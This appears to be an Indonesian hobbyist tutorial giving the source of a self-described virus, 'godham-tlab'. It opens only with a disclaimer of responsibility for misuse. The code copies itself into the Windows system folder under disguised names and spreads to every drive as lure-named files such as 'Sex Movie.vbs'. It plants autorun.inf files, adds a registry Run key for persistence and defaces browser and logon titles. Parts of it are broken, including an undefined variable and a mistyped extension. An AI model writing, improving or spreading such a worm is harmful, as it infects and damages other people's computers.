Segala Penyalahgunaan Artikel Inu Bukan Tanggung Jawab Saya
======================================================
Virus yang akan kita buat saya beri nama godham-tlab yang merupakan tlab yang dimodifikasi
======================================================
Sub Main()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)
If App.PrevInstance = True Then End
App.TaskVisible = False
App.Title = "Windows Service"
FileCopy App.Path & "\" & App.Name & ".vbs", FolderSYSTEM & "\godham-tlab.vbs"
FileCopy App.Path & "\" & App.Name & ".vbs", FolderSYSTEM & "\kaspersky.vbs"
SD
IE
XD
XDS
End Sub
Sub XD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
On Error Resume Next
FileCopy App.Path & "\" & App.Name & ".vbs", sDrive & "Sex Movie.vbs"
FileCopy App.Path & "\" & App.Name & ".vbs", sDrive & "Gairah Anak Muda.vbs"
FileCopy App.Path & "\" & App.Name & ".vbs", sDrive & "Ini Virus buat remaja.vbs"
FileCopy App.Path & "\" & App.Name & ".vbs", sDrive & "Jangan dibuka bahaya buat yang kurang umur.vbs"
Next
End Sub
Sub SD()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("C:\autorun.inf")
Set fileADSW = fso.CreateTextFile("D:\autorun.inf")
Set fileADSW = fso.CreateTextFile("F:\autorun.inf")
fileautorun.WriteLine ("[AUTORUN]")
fileautorun.WriteLine ("RUN=Sex Movies.vbs")
End Sub
Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected By Godham-Tlab.vir, please use PCMAV to clean me"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Infected By Godham-Tlab.vir"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\godham-tlab.bvs"
End Sub
